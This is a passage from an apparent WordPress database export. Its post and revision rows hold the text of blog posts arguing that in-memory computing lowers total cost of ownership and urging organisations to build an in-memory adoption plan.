from the transaction system to the data warehouse before you can do those analytics. The only way you can do real-time analytics is if it’s being done on the transaction data when it’s completed. So that is one of the drivers for this.\r\n\r\n<strong>24×7 with no batch windows</strong>. If you batch window drops to less than zero, you’re going to have to run things very quickly. Batch is going away. That Materials Requirement Planning batch run that takes six hours? If it starts to run in 3-4 seconds, it’s really no longer batch.\r\n\r\nSo the whole concept of batch disappears with in-memory technology. Any time you see words like “awareness” then you’re talking about in-memory. In order to make any applications aware of things it means real time, and it means you need the speed and low latency of in-memory technology to do it.\r\n<h3>Inhibitors of in-memory computing adoption</h3>\r\nSo what’s slowing us down?\r\n\r\nA lot of these are perceptions. So the perception that it’s a complex architecture: it doesn’t have to be.\r\n\r\nThe perception that it’s unrealistic: today, this technology is emerging, and yes, it’s disruptive, but no, you can’t do everything with it. So the expectations have to be set right. There are of course no standards, there aren’t a lot of skills and there’s not a lot of best practices yet, because this is just emerging with those. That will happen over the next few years.\r\n\r\nSo yes, there are many drivers, but at the same time there are many inhibitors, a lot of which you can change by setting expectations and perceptions correctly. So you start to think about IT looking at all this data and saying “what do I do with it all?” and the bottom line is: <strong>if your assumptions are that you can’t do anything with it, you’re not going to do anything with it.</strong>','The Business Impact of In-Memory Computing, From Run to Transform','','inherit','open','open','','253-revision-v1','','','2014-07-23 13:04:48','2014-07-23 13:04:48','',253,'http://localhost/yalavarthitechnologies/blog/?p=254',0,'revision','',0),(256,1,'2014-07-23 13:10:31','2014-07-23 13:10:31','<strong>Summary:</strong>\r\n<p dir=\"ltr\">What is In Memory Computing?</p>\r\n<p dir=\"ltr\">In-memory computing is the storage of information in the main random access memory (RAM)</p>\r\n<p dir=\"ltr\">Rather than in complicated relational databases operating on comparatively slow disk drives</p>\r\n\r\n<h3><b> </b></h3>\r\n<p dir=\"ltr\">What are the Uses of In Memory Computing?</p>\r\n<p dir=\"ltr\">In-memory computing helps business customers, including retailers, banks and utilities, to quickly detect patterns, analyze massive data volumes on the fly, and perform their operations quickly.</p>\r\n\r\n<h3><b> </b></h3>\r\n<p dir=\"ltr\">Why In Memory Computing increasingly popular now a days?</p>\r\n<p dir=\"ltr\">The drop in memory prices in the present market is a major factor contributing to the increasing popularity of in-memory computing technology.</p>\r\nCommon in-memory myths\r\n\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-myths3_thumb.jpg\"><img class=\"alignleft size-thumbnail wp-image-270\" alt=\"in-memory-myths3_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-myths3_thumb-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\nMyths:\r\n<ul>\r\n	<li><strong>Is in-memory hype spread by SAP</strong>? Not likely, because there are over 50 companies that have some type of in-memory technology.</li>\r\n	<li><strong>It’s new and unproven?</strong> Wrong. We have been using in-memory technology since the 90s. We’re not talking here about caching in-memory. We did that in with <a href=\"http://en.wikipedia.org/wiki/IBM_System/360\" target=\"_blank\">360s</a>, with only 24k of memory. In-memory technologies that actually use in-memory not for cache, but for actual data that they fetch and change, has been around since the early 90s.</li>\r\n	<li><strong>That in-memory technology is expensive and only if you have really deep pockets can you afford it?</strong> Not true. There are several in-memory technology vendors whose largest customer base is SME, who by definition doesn’t have a lot of money to spend. And the cost of the technology is coming down fast.</li>\r\n	<li><strong>And this is not a niche technology just for analytics</strong>. We’re using it for all kinds of use cases today, such as trading fraud in the financial industry, for telephone fraud, for gaming where everything has to be instantaneous. Analytics will run faster, but it is not true that it’s only for analytics.</li>\r\n</ul>\r\n<h3>In-memory is going to change the way you do everything</h3>\r\n<blockquote>In-memory computing will have a long term, disruptive impact by radically changing users’ expectations, application design principles, products’ architecture and vendors’ strategy</blockquote>\r\nThis is going to change the way you do everything. <strong>Everybody in this room will be running their entire IT organization in-memory in the next 15 to 20 years</strong>. It’s not going to happen overnight. But within the next 15 years, you will run your whole operation in memory. You won’t have tape drives, you won’t have disk drives. You’ll be using flash and memory. Flash will be your backup, your archive, and memory is where you’re going to run everything. And that’s absolutely a fact.\r\n<h3>What is in-memory computing?</h3>\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/what-is-in-memory_thumb.jpg\"><img class=\"alignleft size-thumbnail wp-image-271\" alt=\"what-is-in-memory_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/what-is-in-memory_thumb-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\nWhen we talk about in-memory computing, we are talking about DRAM: the “d” stands for destructive: it doesn’t hold data it if you lose power. It’s not about flash or NAND memory. Flash is a form of memory, but it’s not what we’re talking about when we talk about in-memory computing.\r\n\r\nAll forms of flash today are used like disk drives. Even though we may remove the controller as a bottleneck, the applications are still doing I/O to a flash drive or a flash board. It is getting much more reliable and cheaper, so it is going to become a persistence mechanism replacing disk.\r\n\r\nToday, the reliability of flash is longer than that of disk drives. If you replace your hardware every three to four years, and you have flash SSD and disk, you will probably not see a failure on the flash at all in that period of time, but I guarantee you that you will change disk drives.\r\n\r\nWhen we talk about in-memory, we are talking about the physical database being in-memory rather than as it is “traditionally” done: on disk.\r\n\r\nWhat is the difference? Database engines today do I/O. So if they want to get a record, they read. If they want to write a record, they write, update, delete, etc. The application, which in this case is a DBMS, thinks that it’s always writing to disk. If that record that they’re reading and writing happens to be in flash, it will certainly be faster, but it’s still reading and writing. Even if I’ve cached it in DRAM, it’s the same thing: I’m still reading and writing.\r\n\r\nWhat we’re talking about here is the actual database is physically in in-memory. I’m doing a fetch to get data and not a read. So the logic of the database changes. That’s what in-memory is about as opposed to the traditional types of computing.\r\n<h3>Why is it time for in-memory computing?</h3>\r\nWhy now? The most important thing is this: DRAM costs are dropping about 32% every 12 months. Things are getting bigger, and costs are getting lower. If you looked at the price of a Dell server with a terabyte of memory three years ago, it was almost $100,000 on their internet site. Today, a server with more cores — sixteen instead of twelve — and a terabyte of DRAM, costs less than $40,000.\r\n<h3>In-memory results in lower total cost of ownership</h3>\r\nSo the costs of this stuff is not outrageous. For those of you who don’t understand storage, I always get into this argument: the total cost of acquisition of an in-memory system is likely higher than a storage system. There’s no question. But the total cost of TCO is lower – because you don’t need storage people to manage memory. There are no LUNs [logical unit numbers]: all the things your storage technicians do goes away.\r\n\r\nPeople cost more than hardware and software – a lot more. So the TCO is lower. And also, by the way, power: one study IBM did showed that memory is 99% less power than spinning disks. So unless you happen to be an electric company, that’s going to mean a lot to you. Cooling is lower, everything is lower.<strong> </strong>\r\n\r\n<strong>So don’t let somebody say to you we can’t go in-memory because it’s so much more money. Acquisition costs may be higher. If you calculate out a TCO, it’s going to be less.</strong>','Why In-Memory Computing Is Cheaper And Changes Everything','','publish','open','open','','why-in-memory-computing-is-cheaper-and-changes-everything','','','2014-07-23 13:46:49','2014-07-23 13:46:49','',0,'http://localhost/yalavarthitechnologies/blog/?p=256',0,'post','',0),(257,1,'2014-07-23 13:10:31','2014-07-23 13:10:31','<strong>Summary:</strong>\r\n<p dir=\"ltr\">What is In Memory Computing?</p>\r\n<p dir=\"ltr\">In-memory computing is the storage of information in the main random access memory (RAM)</p>\r\n<p dir=\"ltr\">Rather than in complicated relational databases operating on comparatively slow disk drives</p>\r\n\r\n<h3><b> </b></h3>\r\n<p dir=\"ltr\">What are the Uses of In Memory Computing?</p>\r\n<p dir=\"ltr\">In-memory computing helps business customers, including retailers, banks and utilities, to quickly detect patterns, analyze massive data volumes on the fly, and perform their operations quickly.</p>\r\n\r\n<h3><b> </b></h3>\r\n<p dir=\"ltr\">Why In Memory Computing increasingly popular now a days?</p>\r\n<p dir=\"ltr\">The drop in memory prices in the present market is a major factor contributing to the increasing popularity of in-memory computing technology.</p>\r\n\r\n<h3><b id=\"docs-internal-guid-66a5aafa-c3b2-e8d3-3043-37651113e6ad\"></b>\r\n\r\n\r\nCommon in-memory myths</h3>\r\n<a href=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/in-memory-myths3.jpg\"><img title=\"in-memory-myths[3]\" alt=\"in-memory-myths[3]\" src=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/in-memory-myths3_thumb.jpg\" width=\"571\" height=\"441\" border=\"0\" /></a>\r\n\r\nMyths:\r\n<ul>\r\n	<li><strong>Is in-memory hype spread by SAP</strong>? Not likely, because there are over 50 companies that have some type of in-memory technology.</li>\r\n	<li><strong>It’s new and unproven?</strong> Wrong. We have been using in-memory technology since the 90s. We’re not talking here about caching in-memory. We did that in with <a href=\"http://en.wikipedia.org/wiki/IBM_System/360\" target=\"_blank\">360s</a>, with only 24k of memory. In-memory technologies that actually use in-memory not for cache, but for actual data that they fetch and change, has been around since the early 90s.</li>\r\n	<li><strong>That in-memory technology is expensive and only if you have really deep pockets can you afford it?</strong> Not true. There are several in-memory technology vendors whose largest customer base is SME, who by definition doesn’t have a lot of money to spend. And the cost of the technology is coming down fast.</li>\r\n	<li><strong>And this is not a niche technology just for analytics</strong>. We’re using it for all kinds of use cases today, such as trading fraud in the financial industry, for telephone fraud, for gaming where everything has to be instantaneous. Analytics will run faster, but it is not true that it’s only for analytics.</li>\r\n</ul>\r\n<h3>In-memory is going to change the way you do everything</h3>\r\n<blockquote>In-memory computing will have a long term, disruptive impact by radically changing users’ expectations, application design principles, products’ architecture and vendors’ strategy</blockquote>\r\nThis is going to change the way you do everything. <strong>Everybody in this room will be running their entire IT organization in-memory in the next 15 to 20 years</strong>. It’s not going to happen overnight. But within the next 15 years, you will run your whole operation in memory. You won’t have tape drives, you won’t have disk drives. You’ll be using flash and memory. Flash will be your backup, your archive, and memory is where you’re going to run everything. And that’s absolutely a fact.\r\n<h3>What is in-memory computing?</h3>\r\n<a href=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/what-is-in-memory.jpg\"><img title=\"what-is-in-memory\" alt=\"what-is-in-memory\" src=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/what-is-in-memory_thumb.jpg\" width=\"538\" height=\"396\" border=\"0\" /></a>\r\n\r\nWhen we talk about in-memory computing, we are talking about DRAM: the “d” stands for destructive: it doesn’t hold data it if you lose power. It’s not about flash or NAND memory. Flash is a form of memory, but it’s not what we’re talking about when we talk about in-memory computing.\r\n\r\nAll forms of flash today are used like disk drives. Even though we may remove the controller as a bottleneck, the applications are still doing I/O to a flash drive or a flash board. It is getting much more reliable and cheaper, so it is going to become a persistence mechanism replacing disk.\r\n\r\nToday, the reliability of flash is longer than that of disk drives. If you replace your hardware every three to four years, and you have flash SSD and disk, you will probably not see a failure on the flash at all in that period of time, but I guarantee you that you will change disk drives.\r\n\r\nWhen we talk about in-memory, we are talking about the physical database being in-memory rather than as it is “traditionally” done: on disk.\r\n\r\nWhat is the difference? Database engines today do I/O. So if they want to get a record, they read. If they want to write a record, they write, update, delete, etc. The application, which in this case is a DBMS, thinks that it’s always writing to disk. If that record that they’re reading and writing happens to be in flash, it will certainly be faster, but it’s still reading and writing. Even if I’ve cached it in DRAM, it’s the same thing: I’m still reading and writing.\r\n\r\nWhat we’re talking about here is the actual database is physically in in-memory. I’m doing a fetch to get data and not a read. So the logic of the database changes. That’s what in-memory is about as opposed to the traditional types of computing.\r\n<h3>Why is it time for in-memory computing?</h3>\r\nWhy now? The most important thing is this: DRAM costs are dropping about 32% every 12 months. Things are getting bigger, and costs are getting lower. If you looked at the price of a Dell server with a terabyte of memory three years ago, it was almost $100,000 on their internet site. Today, a server with more cores — sixteen instead of twelve — and a terabyte of DRAM, costs less than $40,000.\r\n<h3>In-memory results in lower total cost of ownership</h3>\r\nSo the costs of this stuff is not outrageous. For those of you who don’t understand storage, I always get into this argument: the total cost of acquisition of an in-memory system is likely higher than a storage system. There’s no question. But the total cost of TCO is lower – because you don’t need storage people to manage memory. There are no LUNs [logical unit numbers]: all the things your storage technicians do goes away.\r\n\r\nPeople cost more than hardware and software – a lot more. So the TCO is lower. And also, by the way, power: one study IBM did showed that memory is 99% less power than spinning disks. So unless you happen to be an electric company, that’s going to mean a lot to you. Cooling is lower, everything is lower.<strong> </strong>\r\n\r\n<strong>So don’t let somebody say to you we can’t go in-memory because it’s so much more money. Acquisition costs may be higher. If you calculate out a TCO, it’s going to be less.</strong>','Why In-Memory Computing Is Cheaper And Changes Everything','','inherit','open','open','','256-revision-v1','','','2014-07-23 13:10:31','2014-07-23 13:10:31','',256,'http://localhost/yalavarthitechnologies/blog/?p=257',0,'revision','',0),(259,1,'2014-07-23 13:11:51','2014-07-23 13:11:51','<strong>Summary:</strong>\r\n<h3>Why you need an in-memory action plan</h3>\r\n<a href=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/in-memory-action-plan_thumb.jpg\"><img title=\"in-memory-action-plan_thumb\" alt=\"in-memory-action-plan_thumb\" src=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/in-memory-action-plan_thumb_thumb.jpg\" width=\"537\" height=\"421\" border=\"0\" /></a>\r\n\r\nYou need to change the way you look at IT infrastructure, applications, and the infrastructure that’s running those applications. <strong>Truly, with some of these new technologies like in-memory technology, there are no barriers, things that you can’t do. Words like “no we can’t do it” start to go away.</strong>\r\n\r\nI’m not going to tell you it’s going to be cheap, I’m not going to tell you there’s not going to be bumps in the road as you’re doing it, but <strong>things that you really thought were not possible are possible now. Period. </strong>[<a href=\"http://timoelliott.com/blog/2013/04/why-in-memory-computing-is-cheaper-and-changes-everything.html\" target=\"_blank\">examples in previous post</a>]\r\n\r\nWhat do you do in your organization to start to adopt or use some of the in-memory technologies? You <em>are</em> going to spend money on this. Whether the TCO is less or not, you still have to build your skills, you still have to buy applications, you still have to buy the technology and infrastructure and things like that.\r\n\r\n<a href=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/in-memory-action-plan-2_thumb.jpg\"><img title=\"in-memory-action-plan-2_thumb\" alt=\"in-memory-action-plan-2_thumb\" src=\"http://timoelliott.com/blog/wp-content/uploads/2013/04/in-memory-action-plan-2_thumb_thumb.jpg\" width=\"521\" height=\"387\" border=\"0\" /></a>\r\n\r\n<strong>Build a business case first.</strong> Show the value of what you’re going to do. The return on investment may be long or may be short. We recommend short at first. Small projects with quick return on investment will get you more projects that are bigger and have a greater impact on the company. But you have to prove it first – that’s the key.\r\n\r\nAssign a small team of people to look at this. Most companies don’t have a research and development organization in IT (the big ones do). But there’s no reason you can’t have one person looking at the things that are possible with the new technologies, looking at how they can make your current applications more efficient, or start to change how you use them.\r\n\r\n<strong>So set up a CTO or department of the CTO that has somebody in there who’s just looking at the stuff that’s out five years or ten years from now</strong>, so that you will be ready to start to do projects with it when it matures to the level of risk that you’re willing to take.\r\n\r\nAlways do a POC, proof of concept. Do not just assume that because it looks good on paper it’s going to work for you. You need to test it with your data, with your applications, with your people.\r\n\r\nBrainstorming. A lot of people don’t realize that your business unit people are much more IT-aware than they have ever been before. Brainstorm with them on what some of these things can happen, in the business, and how they can make use of it. Who has the budget today? IT? Or the business unit? So if you don’t do this, they’re going to do it anyway, and they’re going to implement the technology without IT. The big disadvantage is that the company doesn’t get the broad skill base that is necessary, and that technology is not shared across the business units. It’s much better to keep it in IT, not because you order it so, but because you are moving along in these new ways, with the business units and what they need.\r\n\r\nIf you believe what I’m telling you about in-memory technology, as being part of your future, it’s not too early to start to <strong>define a strategy for how in-memory is going to enter into your organization and be used</strong>.\r\n\r\nYou may decide that part of the strategy is “we’re going to wait two years to let it mature”. That’s fine, but start looking now at where it can fit and when within the organization, so that you’re prepared and ready to accept it when it comes along. If you’re an early adopter, start tomorrow. If you’re more risk-adverse, next year, the year after.\r\n\r\nBut at least understand the strategy for how this is going to fit in your organization, because as we believe, <strong>it IS coming, whether you want it or not,</strong> so you may as well start now to look at a strategy for where it’s going to fit in the future.\r\n<h3>Questions and Answers</h3>\r\n<strong>What would you reply to somebody who said “I’ve already got enough problems in my organization already”?</strong>\r\n\r\nFrom a short-term standpoint, I can’t disagree with that.\r\n\r\nBut some of the new architectures and the in-memory technologies can maybe help you with some of the issues that you have today.\r\n\r\nIt depends on what the issues are. One of the issues a lot of people have is speed: my applications don’t run fast enough. So maybe there’s in-memory technology that can speed that up. Or maybe moving it to mobile will make it run faster.\r\n\r\nLooking at the nexus of forces and looking at technology as a solution to some of your problems may actually help you short-term.\r\n\r\nCloud – maybe cloud can save you some time. I’ll give you a simple example: how are your development costs? Use the public cloud for that. Let your developers develop on an Amazon AWS.\r\n\r\nWhy is that good? Your people don’t have to set up the development environment. You make a phone call, and you have it. When the project’s done, you make another phone call, and not pay for it any more. You don’t have to go out and buy a server that then you’ve got to figure out what to do with after the development project is done. So there’s a place where cloud immediately can help you.\r\n\r\nSo some of this new technology is mature enough to solve some of your problems. And then, when you start putting your head together with the business units and start to have an impact on the competitiveness and the bottom line of the organization, that’s where you can really make a difference. <strong>Some of this technology may enable you, if you’re a retailer, to turn your inventory one more time a year. Is there any retailer that doesn’t want to do that?</strong> And not be out of something when somebody wants it?\r\n\r\n&nbsp;\r\n\r\n<strong>If the business unit wants to be an early adopter, but the IT unit is risk-averse and conservative, how does the business user drive this change?</strong>\r\n\r\nI’ve been around a while in this business. If there’s one thing I’ve heard over and over since I started in the 60s, it’s “IT has to communicate with the business”.  We’ve learned that lesson – that doesn’t work. Going out to dinner with your business liaison once a month and talking with them is nothing.\r\n\r\nSo one of the concepts that we came up with around twelve years ago, with respect to BI specifically, is the BI Competency Center. The reason that has worked is because it takes business people and IT people and puts them together, working together, not talking. So they make decisions together.\r\n\r\nIf I’m going to do a new project, all the business units decide what the priority project is. This is a concept that works. Some of your companies can’t afford to have full-time people in it, so you do it virtually: you have a meeting once a week. But they still manage projects, they still make buying decisions on products, they still set strategy for the company. The group should not be run by IT (which is hard to swallow sometimes) – but by the business unit. And most important: the CIO can not be the sponsor. It must be higher in the organization.\r\n\r\nSo if I’m going to have a “business technology competency center” where people from the business and the industry are going to get together to look at new technologies and where they may work, the sponsor has to be the CFO, the CEO, the Board, somebody like that. Then they will work together to do this.\r\n\r\n<strong>Risk-adverse IT organizations are normal.</strong> You have a job to do to keep the lights on and you’re not going to do it if you take risks. It’s that simple – you’re not going to have a job if you take risks.\r\n\r\nSo how do you fit that with adopting new technology? Again, just like with the research and development with one person, you can take a couple of people from your organization as part of this “business innovation competency center”, sponsored by the CEO, so you can go hire some new people to do it if you need to, or move people over and backfill them.\r\n\r\nThey may take on a project with a business unit where you see tremendous value to the business, and you look at something that is, say, in beta. And you look at that technology to enable that business unit to be more competitive, more productive, more profitable, and it doesn’t affect the rest of your organization. You still can deliver the things you’re doing, because it’s “outside”. How do you get to that? You have to get senior management in the organization – not the IT organization – behind you. How do you get that? A small project, to demonstrate to them the value of this kind of thing.\r\n\r\nNow one thing that comes to mind immediately: if you look at what’s happened in the past ten years with data warehousing – my area – every time there’s been a recession, database sales and data warehousing sales have dropped off. <em>Except</em> in the 2008/2009 worldwide recession, where every segment of IT was negative growth except DBMS, which was flat. In that environment, flat was positive.\r\n\r\nWhy? Because when the CIO came in to the CEO and said “I need more money to spend on my data warehouse” and the CEO says “are you nuts, with this economy?!”, you pointed to a flat screen on his wall that had key metrics of the business in “real-time” – for the first time, senior management, the CFO, COO, CEO, could physically see the value that information was bringing to their business.\r\n\r\nIf you can demonstrate physically to them the advantages of some new technology, then they’re going to buy into it and start to fund it. You can’t say something like “I want a new ERP package” – in an economy like 2009, that will get you fired for asking. But if you have some real strong value that you can demonstrate quickly or instantly to them, they’re going to spend money on it if they think it’s going to save money or help them. So that’s what you have to do. Lots of people say “only large companies can afford that” – but anybody can put it together with at couple of visionary people from the business units and one or two people from IT to put this together, and they can be virtual.\r\n\r\nPfizer is one of our BICC case studies. They have 150 people full time in the BI competency center: 75 employees and 75 consultants. Most people can’t afford to do that, and I’m not suggesting you do. But here are models in-between that make sense, that will fit in everybody’s budget.','Why You Need An In-Memory Action Plan','','inherit','open','open','','242-revision-v1','','','2014-07-23 13:11:51','2014-07-23 13:11:51','',242,'http://localhost/yalavarthitechnologies/blog/?p=259',0,'revision','',0),(260,1,'2014-07-23 13:47:47','2014-07-23 13:47:47','<strong>Summary:</strong>\n<p dir=\"ltr\">What is In Memory Computing?</p>\n<p dir=\"ltr\">In-memory computing is the storage of information in the main random access memory (RAM)</p>\n<p dir=\"ltr\">Rather than in complicated relational databases operating on comparatively slow disk drives</p>\n\n<h3><b> </b></h3>\n<p dir=\"ltr\">What are the Uses of In Memory Computing?</p>\n<p dir=\"ltr\">In-memory computing helps business customers, including retailers, banks and utilities, to quickly detect patterns, analyze massive data volumes on the fly, and perform their operations quickly.</p>\n\n<h3><b> </b></h3>\n<p dir=\"ltr\">Why In Memory Computing increasingly popular now a days?</p>\n<p dir=\"ltr\">The drop in memory prices in the present market is a major factor contributing to the increasing popularity of in-memory computing technology.</p>\nCommon in-memory myths\n\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-myths3_thumb.jpg\"><img class=\"alignleft size-thumbnail wp-image-270\" alt=\"in-memory-myths3_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-myths3_thumb-150x150.jpg\" width=\"150\" height=\"150\" /></a>\n\nMyths:\n<ul>\n	<li><strong>Is in-memory hype spread by SAP</strong>? Not likely, because there are over 50 companies that have some type of in-memory technology.</li>\n	<li><strong>It’s new and unproven?</strong> Wrong. We have been using in-memory technology since the 90s. We’re not talking here about caching in-memory. We did that in with <a href=\"http://en.wikipedia.org/wiki/IBM_System/360\" target=\"_blank\">360s</a>, with only 24k of memory. In-memory technologies that actually use in-memory not for cache, but for actual data that they fetch and change, has been around since the early 90s.</li>\n	<li><strong>That in-memory technology is expensive and only if you have really deep pockets can you afford it?</strong> Not true. There are several in-memory technology vendors whose largest customer base is SME, who by definition doesn’t have a lot of money to spend. And the cost of the technology is coming down fast.</li>\n	<li><strong>And this is not a niche technology just for analytics</strong>. We’re using it for all kinds of use cases today, such as trading fraud in the financial industry, for telephone fraud, for gaming where everything has to be instantaneous. Analytics will run faster, but it is not true that it’s only for analytics.</li>\n</ul>\n<h3>In-memory is going to change the way you do everything</h3>\n<blockquote>In-memory computing will have a long term, disruptive impact by radically changing users’ expectations, application design principles, products’ architecture and vendors’ strategy</blockquote>\nThis is going to change the way you do everything. <strong>Everybody in this room will be running their entire IT organization in-memory in the next 15 to 20 years</strong>. It’s not going to happen overnight. But within the next 15 years, you will run your whole operation in memory. You won’t have tape drives, you won’t have disk drives. You’ll be using flash and memory. Flash will be your backup, your archive, and memory is where you’re going to run everything. And that’s absolutely a fact.\n<h3>What is in-memory computing?</h3>\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/what-is-in-memory_thumb.jpg\"><img class=\"alignleft size-thumbnail wp-image-271\" alt=\"what-is-in-memory_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/what-is-in-memory_thumb-150x150.jpg\" width=\"150\" height=\"150\" /></a>\n\nWhen we talk about in-memory computing, we are talking about DRAM: the “d” stands for destructive: it doesn’t hold data it if you lose power. It’s not about flash or NAND memory. Flash is a form of memory, but it’s not what we’re talking about when we talk about in-memory computing.\n\nAll forms of flash today are used like disk drives. Even though we may remove the controller as a bottleneck, the applications are still doing I/O to a flash drive or a flash board. It is getting much more reliable and cheaper, so it is going to become a persistence mechanism replacing disk.\n\nToday, the reliability of flash is longer than that of disk drives. If you replace your hardware every three to four years, and you have flash SSD and disk, you will probably not see a failure on the flash at all in that period of time, but I guarantee you that you will change disk drives.\n\nWhen we talk about in-memory, we are talking about the physical database being in-memory rather than as it is “traditionally” done: on disk.\n\nWhat is the difference? Database engines today do I/O. So if they want to get a record, they read. If they want to write a record, they write, update, delete, etc. The application, which in this case is a DBMS, thinks that it’s always writing to disk. If that record that they’re reading and writing happens to be in flash, it will certainly be faster, but it’s still reading and writing. Even if I’ve cached it in DRAM, it’s the same thing: I’m still reading and writing.\n\nWhat we’re talking about here is the actual database is physically in in-memory. I’m doing a fetch to get data and not a read. So the logic of the database changes. That’s what in-memory is about as opposed to the traditional types of computing.\n<h3>Why is it time for in-memory computing?</h3>\nWhy now? The most important thing is this: DRAM costs are dropping about 32% every 12 months. Things are getting bigger, and costs are getting lower. If you looked at the price of a Dell server with a terabyte of memory three years ago, it was almost $100,000 on their internet site. Today, a server with more cores — sixteen instead of twelve — and a terabyte of DRAM, costs less than $40,000.\n<h3>In-memory results in lower total cost of ownership</h3>\nSo the costs of this stuff is not outrageous. For those of you who don’t understand storage, I always get into this argument: the total cost of acquisition of an in-memory system is likely higher than a storage system. There’s no question. But the total cost of TCO is lower – because you don’t need storage people to manage memory. There are no LUNs [logical unit numbers]: all the things your storage technicians do goes away.\n\nPeople cost more than hardware and software – a lot more. So the TCO is lower. And also, by the way, power: one study IBM did showed that memory is 99% less power than spinning disks. So unless you happen to be an electric company, that’s going to mean a lot to you. Cooling is lower, everything is lower.<strong> </strong>\n\n<strong>So don’t let somebody say to you we can’t go in-memory because it’s so much more money. Acquisition costs may be higher. If you calculate out a TCO, it’s going to be less.</strong>','Why In-Memory Computing Is Cheaper And Changes Everything','','inherit','open','open','','256-autosave-v1','','','2014-07-23 13:47:47','2014-07-23 13:47:47','',256,'http://localhost/yalavarthitechnologies/blog/?p=260',0,'revision','',0),(264,1,'2014-07-23 13:31:27','2014-07-23 13:31:27','<strong>Summary:</strong>\r\n<h3>Why you need an in-memory action plan</h3>\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb1.jpg\"><img class=\"alignleft size-thumbnail wp-image-247\" alt=\"in-memory-action-plan_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb1-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\nYou need to change the way you look at IT infrastructure, applications, and the infrastructure that’s running those applications. <strong>Truly, with some of these new technologies like in-memory technology, there are no barriers, things that you can’t do. Words like “no we can’t do it” start to go away.</strong>\r\n\r\nI’m not going to tell you it’s going to be cheap, I’m not going to tell you there’s not going to be bumps in the road as you’re doing it, but <strong>things that you really thought were not possible are possible now. Period. </strong>[<a href=\"http://timoelliott.com/blog/2013/04/why-in-memory-computing-is-cheaper-and-changes-everything.html\" target=\"_blank\">examples in previous post</a>]\r\n\r\nWhat do you do in your organization to start to adopt or use some of the in-memory technologies? You <em>are</em> going to spend money on this. Whether the TCO is less or not, you still have to build your skills, you still have to buy applications, you still have to buy the technology and infrastructure and things like that.\r\n<a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/memory_action-_plan.jpg\"><img class=\"alignleft size-thumbnail wp-image-251\" alt=\"memory_action _plan\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/memory_action-_plan-150x150.jpg\" width=\"150\" height=\"150\" /></a>\r\n\r\n&nbsp;\r\n\r\n<strong>Build a business case first.</strong> Show the value of what you’re going to do. The return on investment may be long or may be short. We recommend short at first. Small projects with quick return on investment will get you more projects that are bigger and have a greater impact on the company. But you have to prove it first – that’s the key.\r\n\r\nAssign a small team of people to look at this. Most companies don’t have a research and development organization in IT (the big ones do). But there’s no reason you can’t have one person looking at the things that are possible with the new technologies, looking at how they can make your current applications more efficient, or start to change how you use them.\r\n\r\n<strong>So set up a CTO or department of the CTO that has somebody in there who’s just looking at the stuff that’s out five years or ten years from now</strong>, so that you will be ready to start to do projects with it when it matures to the level of risk that you’re willing to take.\r\n\r\nAlways do a POC, proof of concept. Do not just assume that because it looks good on paper it’s going to work for you. You need to test it with your data, with your applications, with your people.\r\n\r\nBrainstorming. A lot of people don’t realize that your business unit people are much more IT-aware than they have ever been before. Brainstorm with them on what some of these things can happen, in the business, and how they can make use of it. Who has the budget today? IT? Or the business unit? So if you don’t do this, they’re going to do it anyway, and they’re going to implement the technology without IT. The big disadvantage is that the company doesn’t get the broad skill base that is necessary, and that technology is not shared across the business units. It’s much better to keep it in IT, not because you order it so, but because you are moving along in these new ways, with the business units and what they need.\r\n\r\nIf you believe what I’m telling you about in-memory technology, as being part of your future, it’s not too early to start to <strong>define a strategy for how in-memory is going to enter into your organization and be used</strong>.\r\n\r\nYou may decide that part of the strategy is “we’re going to wait two years to let it mature”. That’s fine, but start looking now at where it can fit and when within the organization, so that you’re prepared and ready to accept it when it comes along. If you’re an early adopter, start tomorrow. If you’re more risk-adverse, next year, the year after.\r\n\r\nBut at least understand the strategy for how this is going to fit in your organization, because as we believe, <strong>it IS coming, whether you want it or not,</strong> so you may as well start now to look at a strategy for where it’s going to fit in the future.\r\n<h3>Questions and Answers</h3>\r\n<strong>What would you reply to somebody who said “I’ve already got enough problems in my organization already”?</strong>\r\n\r\nFrom a short-term standpoint, I can’t disagree with that.\r\n\r\nBut some of the new architectures and the in-memory technologies can maybe help you with some of the issues that you have today.\r\n\r\nIt depends on what the issues are. One of the issues a lot of people have is speed: my applications don’t run fast enough. So maybe there’s in-memory technology that can speed that up. Or maybe moving it to mobile will make it run faster.\r\n\r\nLooking at the nexus of forces and looking at technology as a solution to some of your problems may actually help you short-term.\r\n\r\nCloud – maybe cloud can save you some time. I’ll give you a simple example: how are your development costs? Use the public cloud for that. Let your developers develop on an Amazon AWS.\r\n\r\nWhy is that good? Your people don’t have to set up the development environment. You make a phone call, and you have it. When the project’s done, you make another phone call, and not pay for it any more. You don’t have to go out and buy a server that then you’ve got to figure out what to do with after the development project is done. So there’s a place where cloud immediately can help you.\r\n\r\nSo some of this new technology is mature enough to solve some of your problems. And then, when you start putting your head together with the business units and start to have an impact on the competitiveness and the bottom line of the organization, that’s where you can really make a difference. <strong>Some of this technology may enable you, if you’re a retailer, to turn your inventory one more time a year. Is there any retailer that doesn’t want to do that?</strong> And not be out of something when somebody wants 